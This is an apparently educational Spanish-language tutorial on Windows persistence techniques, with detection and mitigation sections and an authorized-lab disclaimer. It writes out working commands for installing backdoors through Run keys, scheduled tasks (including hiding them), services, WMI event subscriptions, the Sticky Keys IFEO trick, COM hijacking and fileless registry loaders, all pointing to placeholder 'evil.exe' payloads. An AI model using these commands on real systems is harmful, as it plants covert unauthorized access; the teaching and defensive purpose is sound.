Aprende › Vulnerabilidades web

Persistencia en Windows: registry, servicios, tareas, WMI, DLL hijacking, logon scripts

· 10 min de lectura

Qué mecanismos usa un atacante para sobrevivir a reinicios, cambios de password y limpieza en Windows: Run keys, servicios, scheduled tasks, WMI event subscriptions, DLL hijacking, Image File Execution Options. Detección y limpieza.

Un atacante que consigue RCE o acceso administrativo a un equipo Windows raramente quiere volver a conseguirlo mañana. La fase de persistencia cubre todas las técnicas para asegurar que el acceso sobrevive a reinicios del equipo, cambios de contraseña del usuario, cierres de sesión, actualizaciones del sistema o barridos del antivirus. Windows ofrece docenas de mecanismos que se ejecutan automáticamente —en el arranque, al iniciar sesión un usuario, al ocurrir un evento— y cada uno es una potencial técnica de persistencia.

Para el pentester, saber estas técnicas es parte del oficio: en un engagement con fase de post-explotación autorizada, demostrar persistencia realista es parte del informe. Para el defensor, conocerlas es imprescindible: el 90 por ciento de los incidentes de malware persistente que investigan los equipos forenses usan alguna de las técnicas descritas aquí. MITRE ATT&CK dedica una táctica entera (TA0003 Persistence) con decenas de sub-técnicas; esta lección cubre las más usadas y defendibles.

Esta lección y la siguiente (Linux) cierran el bloque de post-explotación. Ambas enfocan desde el pentester y desde el defensor por igual.

Practica solo en equipos propios o laboratorios autorizados. Instalar persistencia en sistemas ajenos sin permiso explícito es intrusión y delito.

El mapa completo#

Mecanismos de persistencia Windows: Run keys, servicios, scheduled tasks, WMI, DLL hijacking, Image File Execution Options, logon scripts
Mecanismos de persistencia Windows: Run keys, servicios, scheduled tasks, WMI, DLL hijacking, Image File Execution Options, logon scripts

Cada mecanismo se dispara en un momento distinto y deja huella en sitios distintos. Los principales:

MecanismoDisparadorNivel
Registry Run keysLogonUsuario / sistema
Startup folderLogonUsuario / sistema
Scheduled TaskTiempo / eventoUsuario / sistema
Windows ServiceArranqueSistema
WMI Event SubscriptionEvento WMISistema
DLL HijackingArranque de appUsuario / sistema
Image File Execution OptionsArranque de .exe específicoSistema
Logon ScriptLogonUsuario
COM HijackingCarga de objeto COMUsuario
AppInit DLLsCarga de user32.dllSistema
Security Support ProviderArranque de LSASistema

Cada una requiere un nivel de privilegio distinto para instalarse y tiene detección distinta.

Run keys#

Las más clásicas y más detectadas:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" ^
  /v Updater /t REG_SZ /d "C:\Users\maria\AppData\Local\updater.exe" /f

Variantes: HKLM\...\Run (sistema), HKCU\...\RunOnce, HKLM\...\RunOnce. Cualquier EDR básico vigila estas claves. Vale como persistencia solo para labs o contra defensas mínimas.

Startup folder#

Copia un .lnk o .exe en shell:startup o shell:common startup:

Copy-Item evil.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\"

Fácil, muy visible, igualmente detectada.

Scheduled Tasks#

Más interesantes porque permiten disparadores no triviales (al iniciar, al autenticar, al conectar a red, al bloquear equipo, por evento del log):

schtasks /create /tn "Updater" /tr "C:\Temp\evil.exe" /sc onlogon /rl highest /f

Con /ru SYSTEM, la tarea corre como SYSTEM. El atributo /sc onevent con un XPath filter permite disparar por eventos específicos del Event Log (classic en red team moderno).

Ocultar la tarea en el UI: eliminar el valor SD del registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\<nombre>. La tarea sigue funcionando pero no aparece en Task Scheduler GUI (técnica Ghost Scheduled Task, 2022).

Windows Services#

Crear un servicio es persistencia desde Windows XP. Requiere admin:

sc create Updater binPath= "C:\Temp\evil.exe" start= auto
sc start Updater

Alternativa fileless con PowerShell:

New-Service -Name Updater -BinaryPathName "cmd /c powershell -enc ..." \
  -StartupType Automatic

Deja event 7045 (service installed). Monitorizado por cualquier EDR y cualquier SIEM corporativo.

WMI Event Subscription#

WMI Event Subscription: EventFilter + CommandLineEventConsumer + FilterToConsumerBinding
WMI Event Subscription: EventFilter + CommandLineEventConsumer + FilterToConsumerBinding

Una de las técnicas favoritas de red team sofisticado en 2024-2026. WMI permite suscribir una acción a un evento:

$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
  Name = "ProcessStartFilter"
  EventNamespace = "root\cimv2"
  QueryLanguage = "WQL"
  Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2"
}

$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
  Name = "ProcessStartConsumer"
  CommandLineTemplate = "C:\Temp\evil.exe"
}

Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
  Filter = $filter
  Consumer = $consumer
}

Resultado: cada vez que un usuario inicia sesión interactiva, se dispara evil.exe con privilegios de SYSTEM. Sobrevive a reboots, cambios de password, actualizaciones.

Se detecta con herramientas específicas (autoruns, wmieventconsumer), pero muchos EDR no lo monitorizan por defecto. Su limpieza requiere eliminar las tres instancias.

DLL Hijacking para persistencia#

Una aplicación legítima carga library.dll desde un directorio escribible. Si colocas tu library.dll malicioso ahí, la aplicación lo carga cada vez que arranca. Técnica común:

  • Aplicaciones en C:\Program Files\<vendor> que buscan DLLs primero en su propio directorio.
  • Si tu usuario tiene permiso de escritura en ese directorio (admin), reemplazas o añades una DLL con nombre que sea buscado.
  • Cada vez que la app arranca, carga tu código.

Combinado con una aplicación que arranca al logon (como Office, OneDrive, apps de impresoras) tienes persistencia estable.

Image File Execution Options (IFEO)#

Un registry key que permite «debugger» para un ejecutable específico. Cuando Windows arranca ese ejecutable, lanza en su lugar el debugger:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" ^
  /v Debugger /t REG_SZ /d "C:\Temp\evil.exe" /f

Ahora cuando se ejecute sethc.exe (Sticky Keys, accesible desde la pantalla de login pulsando Shift 5 veces), se ejecuta tu binario. Técnica clásica de «Sticky Keys backdoor» que da shell SYSTEM desde la pantalla de login.

Logon Scripts#

reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ ^
  /d "cmd /c C:\Temp\evil.exe" /f

Al iniciar sesión el usuario, Windows ejecuta el script. Útil en ambientes con poco EDR.

COM Hijacking#

Objetos COM registrados en el registry se instancian cuando una aplicación los pide. Si redirige la CLSID de un objeto que muchas aplicaciones cargan (Explorer, Office) a un DLL tuyo, cargas código en contextos muy variados.

reg add "HKCU\Software\Classes\CLSID\{GUID}\InprocServer32" /d "C:\Temp\evil.dll" /f

Persistencia por usuario sin requerir admin (modificas HKCU). Técnica muy explotada por malware comercial.

Detección#

Herramientas canónicas:

  • Autoruns (Sysinternals): revisa TODAS las ubicaciones de autostart. Imprescindible en forense.
  • Sysmon: event ID 11 (file create), 13 (registry set), 1 (process create). Monitoriza cambios en claves de persistencia.
  • Microsoft Defender for Endpoint: reglas pre-escritas para la mayoría.
  • PersistenceSniper (Mandiant): script PowerShell que busca más de 40 mecanismos.
  • Threat Hunting queries: KQL/Sentinel para cada técnica ATT&CK.

Al revisar un equipo sospechoso, el orden canónico:

  1. autoruns.exe -a * -s (todos, con firmas).
  2. Revisar WMI subscriptions: Get-WMIObject -Class __EventConsumer -Namespace root\subscription.
  3. Scheduled Tasks con filtros raros: schtasks /query /fo list /v.
  4. Servicios instalados recientemente: event 7045.
  5. Comparar con baseline del equipo cuando esté disponible.

Mitigación#

  • AppLocker / WDAC (Windows Defender Application Control): bloquea ejecutables no firmados.
  • Credential Guard + LSA Protected: previene dumping y ciertas técnicas de LSA persistence.
  • Mínimo privilegio para usuarios: muchas técnicas necesitan admin; sin él, su alcance se reduce.
  • Monitorización activa: autoruns periódico comparado con baseline.
  • Allow list de WMI consumers: ninguna aplicación legítima de usuario normal necesita crear EventConsumer.
  • PowerShell Constrained Language Mode para usuarios no admin.
  • Deshabilitar scripts de logon por usuario si no se usan.

Técnicas de diseño avanzado#

Más allá del catálogo canónico, operadores sofisticados combinan técnicas para evadir detecciones específicas:

Fileless completa#

Persistencia que vive solo en registry y memoria, sin binario en disco:

# Base64 del script en el registry
reg add "HKCU\Software\Internal\Settings" /v Blob /t REG_BINARY /d <base64-script>

# Scheduled task que lee y ejecuta
schtasks /create /tn "RegReader" /tr "powershell -enc <loader-base64>" /sc onlogon

El loader lee el blob del registry, lo decodifica en memoria y ejecuta. No hay .exe persistente que un antivirus pueda firmar.

Living Off The Land (LOLBAS)#

Usar binarios legítimos de Windows para ejecutar código, dificultando atribución:

  • regsvr32.exe con /s /u /n /i:http://... ejecuta COM remoto.
  • mshta.exe con payload HTA inline.
  • msbuild.exe con XML que contiene código C#.
  • installutil.exe para cargar .NET sin firma.

Cuando el payload malicioso se ejecuta como regsvr32 legítimo, muchas detecciones basadas en firma de proceso fallan. El proyecto LOLBAS Project cataloga cientos de estos binarios.

Timing anómalo#

Persistencia que solo se dispara en condiciones específicas para pasar análisis sandbox:

  • Solo si el usuario lleva al menos 30 minutos conectado.
  • Solo si el dominio AD coincide con uno esperado.
  • Solo entre horarios laborables.

Los sandbox automatizados y los EDR que explotan sandbox para muestras dudosas no superan esas condiciones; el equipo real sí.

Errores comunes del defensor#

  • Centrarse solo en Run keys y olvidar WMI subscriptions.
  • Confiar en antivirus tradicional (no detecta la mayoría de persistencias modernas).
  • No monitorizar event 7045 por «demasiado ruido».
  • Olvidar revisar HKCU: los usuarios no admin también pueden persistir.
  • Baseline no actualizado tras cambios legítimos de software.

Preguntas frecuentes#

¿Cuál es la persistencia más difícil de detectar?#

Hoy, WMI Event Subscription sigue siendo la que peor cubre la mayoría de EDRs, especialmente si se usan namespaces menos comunes o si el consumer se registra desde una cuenta específica no monitorizada.

¿Un reinicio limpia una persistencia?#

Depende: las fileless en memoria se pierden (de ahí que haya que persistir en disco o registry). Las que viven en Run keys, servicios, WMI, scheduled tasks o archivos del disco sobreviven reboot.

¿Un reinstall de Windows garantiza limpieza?#

Sí si es wipe completo. Reinstalaciones «in-place» pueden preservar archivos de usuario y persistencias que vivan ahí. La única garantía total es wipe + reinstall + restaurar datos desde backups verificados.

¿El antivirus moderno detecta WMI persistence?#

Depende del producto y de la configuración. Defender ha mejorado mucho; CrowdStrike, SentinelOne lo cazan rutinariamente. AV tradicionales (Avast, AVG, Norton consumer) son muy desiguales.

¿Dónde practico?#

El laboratorio red-hat de whoami-labs incluye un escenario de post-explotación donde practicas instalar cinco mecanismos distintos de persistencia y luego ejecutas autoruns y PersistenceSniper para ver cuáles caen y cuáles no.

¿Qué pasa con la persistencia en entornos EDR muy maduros?#

Cambia la paleta. Las técnicas canónicas quedan cortas y los operadores recurren a:

  • Firmware persistence (UEFI implants como LoJax, MoonBounce): sobreviven incluso a reinstalación del OS. Solo APT.
  • Scheduled Tasks con XML custom que esquivan parsers de EDR.
  • COM hijacking con CLSIDs raros que pocos productos cubren.
  • BITS jobs persistentes: Background Intelligent Transfer Service puede programarse para descargar y ejecutar en segundo plano.
  • Cryptominer con DLL side-loading en software legítimo con firma válida.

Cada año aparecen nuevos vectores. La defensa es un ciclo continuo de aprendizaje y adaptación, no una lista estática.

¿Persistencia en entornos virtualizados o cloud cambia?#

En VMs cloud, la persistencia típica es la misma pero se añaden consideraciones: snapshots que pueden recuperarse, user-data que arranca scripts, roles IAM asociados a la VM. En containers, la persistencia requiere escape al host (lección docker-escape) porque el contenedor es efímero. Para serverless, la persistencia va en el código de la función o en el entorno (variables, capas Lambda).

Resumen#

  • Persistencia Windows se apoya en mecanismos nativos: Run keys, servicios, scheduled tasks, WMI subscriptions, DLL hijacking, IFEO, logon scripts, COM hijacking.
  • Cada una tiene nivel de privilegio y detectabilidad distintos.
  • WMI Event Subscription sigue siendo la más sigilosa para el atacante en 2026.
  • Herramientas defensivas: Autoruns, Sysmon, PersistenceSniper, MDE.
  • Mitigación: AppLocker/WDAC, Credential Guard, mínimo privilegio, monitorización activa.

La siguiente lección cubre persistencia en Linux, que tiene mecanismos distintos pero el mismo juego mental: identificar todo lo que se ejecuta automáticamente, auditarlo contra una baseline, y responder rápido cuando aparece algo que no reconoces en esa lista.

En entornos corporativos reales, la coordinación entre el equipo de respuesta y el equipo de administración es tan importante como la técnica misma: una persistencia sofisticada puede estar sirviendo a un APT mientras el equipo blue investiga alertas irrelevantes.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría